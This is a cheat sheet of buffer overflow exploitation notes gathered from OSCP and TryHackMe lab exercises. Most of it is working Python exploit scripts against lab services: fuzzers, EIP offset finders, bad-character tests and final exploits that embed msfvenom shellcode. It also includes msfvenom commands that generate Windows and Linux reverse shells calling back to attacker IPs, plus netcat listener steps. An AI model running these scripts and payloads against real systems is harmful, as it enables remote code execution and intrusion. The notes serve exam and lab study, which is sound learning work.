Buffer Overflow – Notes and cheatsheet

Buffer Overflow [Linux, GDB]
https://www.cyberpunk.rs/buffer-overflow-linux-gdb

Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations. (https://www.imperva.com/learn/application-security/buffer-overflow/)


Cheat sheet from V1n1v131r4

V1n1v131r4 cheatsheet

connect.py

#!/usr/bin/env python2
import socket

# set up the IP and port we're connecting to
RHOST = "192.168.56.112"
RPORT = 31337

# create a TCP connection (socket)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# build a happy little message followed by a newline
buf = ""
buf += "Python Script"
buf += "\n"

# send the happy little message down the socket
s.send(buf)

# print out what we sent
print "Sent: {0}".format(buf)

# receive some data from the socket
data = s.recv(1024)

# print out what we received
print "Received: {0}".format(data)

fuzzing.py

We will run the connect.py script to verify the application’s response.

After this step, we will run the fuzzing.py script to identify the point that the application will crash. But before that, on your Windows, attach the application to the Immunity Debugger.

Change the amount of “A” in the script until the application broken.

#!/usr/bin/env python2
import socket

RHOST = "192.168.56.112"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A"*1024
buf += "\n"

s.send(buf)

offset.py

After finding the crash point of the application, we will identify the offset to the EIP address. For this we will generate a string with the pattern_create, from the MSF suite

msf-pattern_create -l 1024

Copy the EIP address into the Immunity Debugger and use the pattern_offset to identify this address

msf-pattern_offset -q 39654138

Now we can run poc.py and verify that our EIP has been overwritten with the character “B” (42 in hexadecimal)

#!/usr/bin/env python2
import socket

RHOST = "192.168.56.112"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"
buf += "\n"

s.send(buf)

poc.py

#!/usr/bin/env python2
import socket

RHOST = "192.168.56.112"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A" * 146 + "BBBB" + "C" * 300 
buf += "\n"

s.send(buf)

badchars.py

To identify badchars we will use mona with the option !mona bytearray.

Insert the mona output in the badchars.py script and run against the application to identify the badchars.

There are many ways to carry out the badchar identification process (even mona has modules for that), but the most accurate way is visually. Follow the ASCII string in the Immunity Debugger and see what points this string crashed or skipped over.

#!/usr/bin/env python2
import socket

RHOST = "192.168.56.112"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A" * 146 + "BBBB" + "C" * 10
buf += (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buf += "\n"

s.send(buf)

JMP ESP

After knowing the badchars of the application, we will identify the JMP ESP that will be responsible for changing the natural flow of the application and making it run the shellcode that we will insert into the stack.

The OPCODE for JMP ESP is \xff\xe4 (in assembly). Using mona we will locate which register in the application that points to this OPCODE and so we can change the flow of the application to run our shellcode, rewriting the stack from its base (EBP).

Run !mona modules and identify the unprotected modules.

Run !mona find -s "\xff\xe4" to identify which of these pointers have the OPCODE for JMP ESP

Run !mona jmp -r esp -cpb "\x00\x0a" to identify which pointers do not have the badchars found.

By this point you may have already found the correct JMP ESP address. However, if you want to check, run !mona find -s "\xff\xe4" -m dostackbufferoverflowgood.exe directly on the identified vulnerable module.

At this point you will have the base address of the stack or return address (EBP). We need to convert this address to little-endian format to use it in our code. Just invert the bytes to perform this conversion:

0x080416BF  <->  "\xBF\x16\x04\x08"

exploit.py

We can now generate our shellcode excluding the badchars found:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 EXITFUNC=thread  -f c –e x86/shikata_ga_nai -b "\x00\x0a"

The EXITFUNC=thread option prevents the shellcode from crashing the application when executing our shellcode.

Now just insert the msfvenom output in our exploit.py and run it against our application to gain access to the system exploiting the Buffer Overflow

#!/usr/bin/env python2
import socket

RHOST = "192.168.56.112"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

shellcode = ("\xdd\xc2\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x52\xbe\xd3\xb0\x95"
"\x6b\x83\xeb\xfc\x31\x73\x13\x03\xa0\xa3\x77\x9e\xba\x2c\xf5"
"\x61\x42\xad\x9a\xe8\xa7\x9c\x9a\x8f\xac\x8f\x2a\xdb\xe0\x23"
"\xc0\x89\x10\xb7\xa4\x05\x17\x70\x02\x70\x16\x81\x3f\x40\x39"
"\x01\x42\x95\x99\x38\x8d\xe8\xd8\x7d\xf0\x01\x88\xd6\x7e\xb7"
"\x3c\x52\xca\x04\xb7\x28\xda\x0c\x24\xf8\xdd\x3d\xfb\x72\x84"
"\x9d\xfa\x57\xbc\x97\xe4\xb4\xf9\x6e\x9f\x0f\x75\x71\x49\x5e"
"\x76\xde\xb4\x6e\x85\x1e\xf1\x49\x76\x55\x0b\xaa\x0b\x6e\xc8"
"\xd0\xd7\xfb\xca\x73\x93\x5c\x36\x85\x70\x3a\xbd\x89\x3d\x48"
"\x99\x8d\xc0\x9d\x92\xaa\x49\x20\x74\x3b\x09\x07\x50\x67\xc9"
"\x26\xc1\xcd\xbc\x57\x11\xae\x61\xf2\x5a\x43\x75\x8f\x01\x0c"
"\xba\xa2\xb9\xcc\xd4\xb5\xca\xfe\x7b\x6e\x44\xb3\xf4\xa8\x93"
"\xb4\x2e\x0c\x0b\x4b\xd1\x6d\x02\x88\x85\x3d\x3c\x39\xa6\xd5"
"\xbc\xc6\x73\x79\xec\x68\x2c\x3a\x5c\xc9\x9c\xd2\xb6\xc6\xc3"
"\xc3\xb9\x0c\x6c\x69\x40\xc7\x53\xc6\x72\x70\x3c\x15\x82\x7f"
"\x07\x90\x64\x15\x67\xf5\x3f\x82\x1e\x5c\xcb\x33\xde\x4a\xb6"
"\x74\x54\x79\x47\x3a\x9d\xf4\x5b\xab\x6d\x43\x01\x7a\x71\x79"
"\x2d\xe0\xe0\xe6\xad\x6f\x19\xb1\xfa\x38\xef\xc8\x6e\xd5\x56"
"\x63\x8c\x24\x0e\x4c\x14\xf3\xf3\x53\x95\x76\x4f\x70\x85\x4e"
"\x50\x3c\xf1\x1e\x07\xea\xaf\xd8\xf1\x5c\x19\xb3\xae\x36\xcd"
"\x42\x9d\x88\x8b\x4a\xc8\x7e\x73\xfa\xa5\xc6\x8c\x33\x22\xcf"
"\xf5\x29\xd2\x30\x2c\xea\xf2\xd2\xe4\x07\x9b\x4a\x6d\xaa\xc6"
"\x6c\x58\xe9\xfe\xee\x68\x92\x04\xee\x19\x97\x41\xa8\xf2\xe5"
"\xda\x5d\xf4\x5a\xda\x77")

buf = ""
buf += "A" * 146 + "\xc3\x14\x04\x08" + "\x90" * 16 + shellcode  
buf += "\n"

s.send(buf)

Buffer overflow receipe from THM and OffSec

This is taken from https://tryhackme.com/room/bufferoverflowprep

1 – Open and run oscp.exe

  • Open Immunity Debugger, open oscp.exe (File -> Open) and click run. (Binary opens in paused state).
  • It opens CMD telling us that its listening to port 1337
  • nc IP PORT
    • HELP
    • OVERFLOW(number) test (return: OVERFLOW1 COMPLETE)
  • Create working dir !mona config -set workingfolder c:\mona\%p

Fuzzer script

  • Run fuzzer script and note the byte when server crashes.
    • Example Fuzzing crashed at 2000 bytes
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.45.175"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Crash replication and controlling EIP script – exploit.py

import socket

ip = "10.10.45.175"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

2 – Running exploit

The purpose of this section is to find the EIP offset. By knowing approximatly when the program crashed, we will create a pattern longer than the bytes at which the program crashed and calculate EIP offset, knowing exactly which byte the EIP is overwritten.

  • Generate cyclic pattern, 400 bytes longer than string that crashed the server. Change value -l /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
  • Add the value in exploit.py -> payload = ""
  • Close and re-open oscp.exe. Remember to start.
  • python3 exploit.py
  • Find EIP offset. !mona findmsp -distance 600 (Distance same as -l length).
    • EIP contains normal pattern : ... (offset XXXX)
  • Edit exploit.py –> add offset variable to EIP above.
  • Set payload value to empty (“”).
  • Set retn to BBBB.
  • Restart oscp.exe and run exploit.py.
  • Notice EIP register is overwritten with 4 B’s eg. 42424242. (retn value)

3 – Looking for space for shellcode

11.2.15 in OSCP pdf

https://github.com/SxNade/THM_Buffer-Overflow-Prep/blob/main/5/space.py

...
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))

inputBuffer = filler + eip + offset + buffer
...

4 – Finding Bad Characters

  • Generate a bytearray using mona. Exclude the nullbyte \x00.
  • !mona bytearray -b "\x00"
  • Generate a string of bad chars that is identical to the bytearray. Use below script to generate a string of bad chars from \x01 to \xff.
for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
  • Update exploit.py script and set the payload variable to the string of bad chars the script generates.
  • Restart oscp.exe in Immunity and run modified exploit.py.
  • Note address to which the ESP register points and use it in this mona command:
  • !mona compare -f C:\mona\oscp\bytearray.bin -a <address>
  • In the pop-up window labelled “mona Memory comparison results” it shows the result of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.
Not all of these might be badchars! Sometimes badchars cause the next bye to get corrupted as well, or even effect the rest of the string.  
  • First badchar in the list should be \x00 since this was removed from the file.
  • Make note of any other badchars.
  • Generate a new bytearray in mona, specifying these new badchars along with \x00. !mona bytearray -b "\x00"
  • Update the payload variable in exploit.py script and remove the new badchars as well.
  • Restart oscp.exe in Immunity and run modified exploit.py.
  • Repeat the badchar comparison until the results status returns “Unmodified”. This indicates that no more badchars exist.

5 – Finding a Jump Point

  • oscp.exe either in running state or crashed state.
  • Run this mona command. Make sure to update the -cpd option with all the badchars you identified (including \x00).
  • !mona jmp -r esp -cpd "\x00"
  • The above command find all “jmp esp” (or equivalent) instructions with addresses that dont contain any of the badchars specified.
  • Result is displayed in “Log data” window.
  • Choose an address and update exploit.py script:
    • Set the “retn” variable to the address, written backwards (since the system is little endian).
    • Example: If address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in exploit.py.

6 – Generate payload

  • Run the following msfvenom command. Update -b (badchars) option with the badchars you identified (including \x00):
# Windows
# Use -f py to paste directly into python script otherwise use b""
msfvenom -p windows/shell_reverse_tcp LHOST=Local_IP LPORT=Listening_port EXITFUN=thread -b "\x00" -f c

msfvenom -p windows/exec CMD=cmd.exe EXITFUN=thread -b "\x00" -f 
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00"


# Linux 
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.153 LPORT=2121 -f c -b "\x00" EXITFUNC=thread
  • Copy generated C code strings and add them to exploit.py using this notation:
payload = ("\xfc\xbb\xa1\x8a\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe3\x8d\xbf\xd2\x15\xfc\xd9\xb6"
"\x19\x53\xd0\x92\x19\x54\x2e\x1d")

7 – Prepend NOPs

  • Since an encoder was likely used to generate payload, you will need some space in memory for the payload to unpack itself.
  • Do this by setting the padding variable to a string of 16 or more “No Operation” (\x90) bytes:
  • padding = "\x90" * 16

8 – Exploit

  • Start a netcat listener with the LPORT from msfvenom command.
  • Restart oscp.exe in Immunity and run the modified exploit.py script.
  • Listener will have a connection.

Payload.py end script

┌──(root💀kali)-[/home/aghanim/Desktop/THM/bof_prep]
└─# cat exploit.py 
import socket

ip = "10.10.177.32"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xd3\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xbe\x0d\xbe\xcf\xfa\xda\xc0\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x31\x72\x12\x83\xc2\x04\x03\x7f\xb0\x2d\x0f\x83\x24\x33"
"\xf0\x7b\xb5\x54\x78\x9e\x84\x54\x1e\xeb\xb7\x64\x54\xb9\x3b"
"\x0e\x38\x29\xcf\x62\x95\x5e\x78\xc8\xc3\x51\x79\x61\x37\xf0"
"\xf9\x78\x64\xd2\xc0\xb2\x79\x13\x04\xae\x70\x41\xdd\xa4\x27"
"\x75\x6a\xf0\xfb\xfe\x20\x14\x7c\xe3\xf1\x17\xad\xb2\x8a\x41"
"\x6d\x35\x5e\xfa\x24\x2d\x83\xc7\xff\xc6\x77\xb3\x01\x0e\x46"
"\x3c\xad\x6f\x66\xcf\xaf\xa8\x41\x30\xda\xc0\xb1\xcd\xdd\x17"
"\xcb\x09\x6b\x83\x6b\xd9\xcb\x6f\x8d\x0e\x8d\xe4\x81\xfb\xd9"
"\xa2\x85\xfa\x0e\xd9\xb2\x77\xb1\x0d\x33\xc3\x96\x89\x1f\x97"
"\xb7\x88\xc5\x76\xc7\xca\xa5\x27\x6d\x81\x48\x33\x1c\xc8\x04"
"\xf0\x2d\xf2\xd4\x9e\x26\x81\xe6\x01\x9d\x0d\x4b\xc9\x3b\xca"
"\xac\xe0\xfc\x44\x53\x0b\xfd\x4d\x90\x5f\xad\xe5\x31\xe0\x26"
"\xf5\xbe\x35\xe8\xa5\x10\xe6\x49\x15\xd1\x56\x22\x7f\xde\x89"
"\x52\x80\x34\xa2\xf9\x7b\xdf\xc7\xf4\x80\x13\xb0\x04\x86\x3a"
"\x1c\x80\x60\x56\x8c\xc4\x3b\xcf\x35\x4d\xb7\x6e\xb9\x5b\xb2"
"\xb1\x31\x68\x43\x7f\xb2\x05\x57\xe8\x32\x50\x05\xbf\x4d\x4e"
"\x21\x23\xdf\x15\xb1\x2a\xfc\x81\xe6\x7b\x32\xd8\x62\x96\x6d"
"\x72\x90\x6b\xeb\xbd\x10\xb0\xc8\x40\x99\x35\x74\x67\x89\x83"
"\x75\x23\xfd\x5b\x20\xfd\xab\x1d\x9a\x4f\x05\xf4\x71\x06\xc1"
"\x81\xb9\x99\x97\x8d\x97\x6f\x77\x3f\x4e\x36\x88\xf0\x06\xbe"
"\xf1\xec\xb6\x41\x28\xb5\xd7\xa3\xf8\xc0\x7f\x7a\x69\x69\xe2"
"\x7d\x44\xae\x1b\xfe\x6c\x4f\xd8\x1e\x05\x4a\xa4\x98\xf6\x26"
"\xb5\x4c\xf8\x95\xb6\x44")

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Payload.py exploit.txt script

import socket

offset = 1234
overflow = "\x41" * offset
retn = ""
padding = "\x90" * 200
payload = ("\xda\xce\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x31\xba\x6e\x75\xd7\xe9\x83\xed\xfc\x31\x55\x14\x03\x55\x7a\x97\x22\x15\x6a\xd5\xcd\xe6\x6a\xba\x44\x03\x5b\xfa\x33\x47\xcb\xca\x30\x05\xe7\xa1\x15\xbe\x7c\xc7\xb1\xb1\x35\x62\xe4\xfc\xc6\xdf\xd4\x9f\x44\x22\x09\x40\x75\xed\x5c\x81\xb2\x10\xac\xd3\x6b\x5e\x03\xc4\x18\x2a\x98\x6f\x52\xba\x98\x8c\x22\xbd\x89\x02\x39\xe4\x09\xa4\xee\x9c\x03\xbe\xf3\x99\xda\x35\xc7\x56\xdd\x9f\x16\x96\x72\xde\x97\x65\x8a\x26\x1f\x96\xf9\x5e\x5c\x2b\xfa\xa4\x1f\xf7\x8f\x3e\x87\x7c\x37\x9b\x36\x50\xae\x68\x34\x1d\xa4\x37\x58\xa0\x69\x4c\x64\x29\x8c\x83\xed\x69\xab\x07\xb6\x2a\xd2\x1e\x12\x9c\xeb\x41\xfd\x41\x4e\x09\x13\x95\xe3\x50\x79\x68\x71\xef\xcf\x6a\x89\xf0\x7f\x03\xb8\x7b\x10\x54\x45\xae\x55\xaa\x0f\xf3\xff\x23\xd6\x61\x42\x2e\xe9\x5f\x80\x57\x6a\x6a\x78\xac\x72\x1f\x7d\xe8\x34\xf3\x0f\x61\xd1\xf3\xbc\x82\xf0\x97\x23\x11\x98\x79\xc6\x91\x3b\x86")

postfix = ""

buffer = overflow + retn + padding + payload + postfix

f = open("exploit.txt", "w")
f.write(buffer+'\n')
f.close()

#with open("exploit.txt", "wb") as binary_file:
    # Write bytes to file
 #   binary_file.write(buffer)

Bufferoverflow notes pwk

Checklist

Look at the OSCP PDF for more thorough explanation.

  • Control EIP. Find offset either by using mona! or doing it manully by sending “AAAA” and “BBBB” until you overwrite EIP. See 11.2.3 in PDF.
  • Find bad characters. In the payload.py script you should have ‘Offset’ value, overflow, retn (BBBB) and payload. In the payload type all HEX characters.
  • When generating a exploit.txt with hex character, be mindfull of using python2, python2.7 or python3. All will produce different output. python2 pyload.py will produce another value than python3 pyload.py. Use md5sum to check.
  • Either ESP or EBX, right click and “Follow in Dump” in Immunity Debugger. Look for where null byte terminate the string. In the pic below the bad character is 0x1a. Remove it from payload and send again until you hit 0xff. You want to send overflow + retn + payload where retn overwrite EIP.
  • Find the return addres (JMP). msf-nasm_shell. Then nasm > jmp esp
  • !mona modules. Look for 4/5 false flags (rebase, safeSEH, ASLR, NXCompat, OS DLL)
  •  !mona find -s "\xff\xe4" -m "libspp.dll"
  • OR !mona jmp -r esp -cpd "\x00". Type in all the bad characters you found
  • Generate a payload. Remember to check if you have enough space in buffer. See 11.2.5 Locating Space for Our Shellcode in PDF.
  • msfvenom -p windows/exec CMD=cmd.exe EXITFUN=thread -b "\x00" -f c
  • msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00"
  • Use -f py to paste directly into a python script. Otherwise use b"". Look at the example payload below. (The b” notation is used to specify a bytes string in Python).
  • If sending over network against port the above might not apply.
  • Send to target cat exploit.txt - | nc TARGET_IP TARGET_PORT

Example 1 – payload with -f c

#!/bin/python2.7

import socket


offset = 2000
overflow = b"A" * offset
retn = b"\x10\x11\x13\x14"
padding = b"C" * 4
nops = b""
payload = b"\x31\xc9\x83\xe9\xd0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xbd\x37\x47\x9a\x83\xee\xfc\xe2\xf4\x41\xdf\xc5\x9a\xbd\x37\x27\x13\x58\x06\x87\xfe\x36\x67\x77\x11\xef\x3b\xcc\xc8\xa9\xbc\x35\xb2\xb2\x80\x0d\xbc\x8c\xc8\xeb\xa6\xdc\x4b\x45\xb6\x9d\xf6\x88\x97\xbc\xf0\xa5\x68\xef\x60\xcc\xc8\xad\xbc\x0d\xa6\x36\x7b\x56\xe2\x5e\x7f\x46\x4b\xec\xbc\x1e\xba\xbc\xe4\xcc\xd3\xa5\xd4\x7d\xd3\x36\x03\xcc\x9b\x6b\x06\xb8\x36\x7c\xf8\x4a\x9b\x7a\x0f\xa7\xef\x4b\x34\x3a\x62\x86\x4a\x63\xef\x59\x6f\xcc\xc2\x99\x36\x94\xfc\x36\x3b\x0c\x11\xe5\x2b\x46\x49\x36\x33\xcc\x9b\x6d\xbe\x03\xbe\x99\x6c\x1c\xfb\xe4\x6d\x16\x65\x5d\x68\x18\xc0\x36\x25\xac\x17\xe0\x5d\x46\x17\x38\x85\x47\x9a\xbd\x67\x2f\xab\x36\x58\xc0\x65\x68\x8c\xb7\x2f\x1f\x61\x2f\x3c\x28\x8a\xda\x65\x68\x0b\x41\xe6\xb7\xb7\xbc\x7a\xc8\x32\xfc\xdd\xae\x45\x28\xf0\xbd\x64\xb8\x4f\xde\x5a\x23\xb4\xd8\x4f\x22\x9a"

buffer = overflow + retn + padding + nops + payload 

f = open("exploit.txt", "w")
f.write(buffer+'\n')
f.close()

Example 2 – Payload with -f py

#!/bin/python2.7

import socket


offset = 2000
overflow = b"A" * offset
retn = b"\xae\x12\x13\x14"
padding = b"C" * 4
nops = b""
# payload = ""
buf =  b""
buf += b"\x29\xc9\x83\xe9\xd0\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x0e\xbc\xa4\xfc\x98\x83\xee\xfc\xe2\xf4"
buf += b"\x40\x4c\x7e\x98\xbc\xa4\x9c\x11\x59\x95\x3c\xfc"
buf += b"\x37\xf4\xcc\x13\xee\xa8\x77\xca\xa8\x2f\x8e\xb0"
buf += b"\xb3\x13\xb6\xbe\x8d\x5b\x50\xa4\xdd\xd8\xfe\xb4"
buf += b"\x9c\x65\x33\x95\xbd\x63\x1e\x6a\xee\xf3\x77\xca"
buf += b"\xac\x2f\xb6\xa4\x37\xe8\xed\xe0\x5f\xec\xfd\x49"
buf += b"\xed\x2f\xa5\xb8\xbd\x77\x77\xd1\xa4\x47\xc6\xd1"
buf += b"\x37\x90\x77\x99\x6a\x95\x03\x34\x7d\x6b\xf1\x99"
buf += b"\x7b\x9c\x1c\xed\x4a\xa7\x81\x60\x87\xd9\xd8\xed"
buf += b"\x58\xfc\x77\xc0\x98\xa5\x2f\xfe\x37\xa8\xb7\x13"
buf += b"\xe4\xb8\xfd\x4b\x37\xa0\x77\x99\x6c\x2d\xb8\xbc"
buf += b"\x98\xff\xa7\xf9\xe5\xfe\xad\x67\x5c\xfb\xa3\xc2"
buf += b"\x37\xb6\x17\x15\xe1\xce\xfd\x15\x39\x16\xfc\x98"
buf += b"\xbc\xf4\x94\xa9\x37\xcb\x7b\x67\x69\x1f\x0c\x2d"
buf += b"\x1e\xf2\x94\x3e\x29\x19\x61\x67\x69\x98\xfa\xe4"
buf += b"\xb6\x24\x07\x78\xc9\xa1\x47\xdf\xaf\xd6\x93\xf2"
buf += b"\xbc\xf7\x03\x4d\xdf\xc9\x98\xb6\xd9\xdc\x99\x98"

buffer = overflow + retn + padding + nops + buf 

f = open("exploit.txt", "w")
f.write(buffer+'\n')
f.close()

Example 3 – Over network

!/usr/bin/python
import socket
import struct

try:
  print "\nSending evil buffer..."

  #offset = 2288
  overflow = "A" * 2288
  retn = struct.pack('<I',0x148010cf) # struct will reverse the address. 
  padding = "C" * 8
  nops = "\x90" * 10  
  payload = ("\xba\xf2\xb5\xf3\x8f\xd9\xee\xd9\x74\x24\xf4\x5e\x2b\xc9"
"\xb1\x52\x83\xc6\x04\x31\x56\x0e\x03\xa4\xbb\x11\x7a\xb4"
"\x2c\x57\x85\x44\xad\x38\x0f\xa1\x9c\x78\x6b\xa2\x8f\x48"
[...]
"\x46\xad\x66\x09\x0f\x24\x3b\x54\xb0\x93\x78\x61\x33\x11"
"\x01\x96\x2b\x50\x04\xd2\xeb\x89\x74\x4b\x9e\xad\x2b\x6c"
"\x8b")  

  buffer = overflow + retn + padding + nops + payload

 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.137.10", 7001))
  s.send(buffer)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

Generate raw hex

some_bytes = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4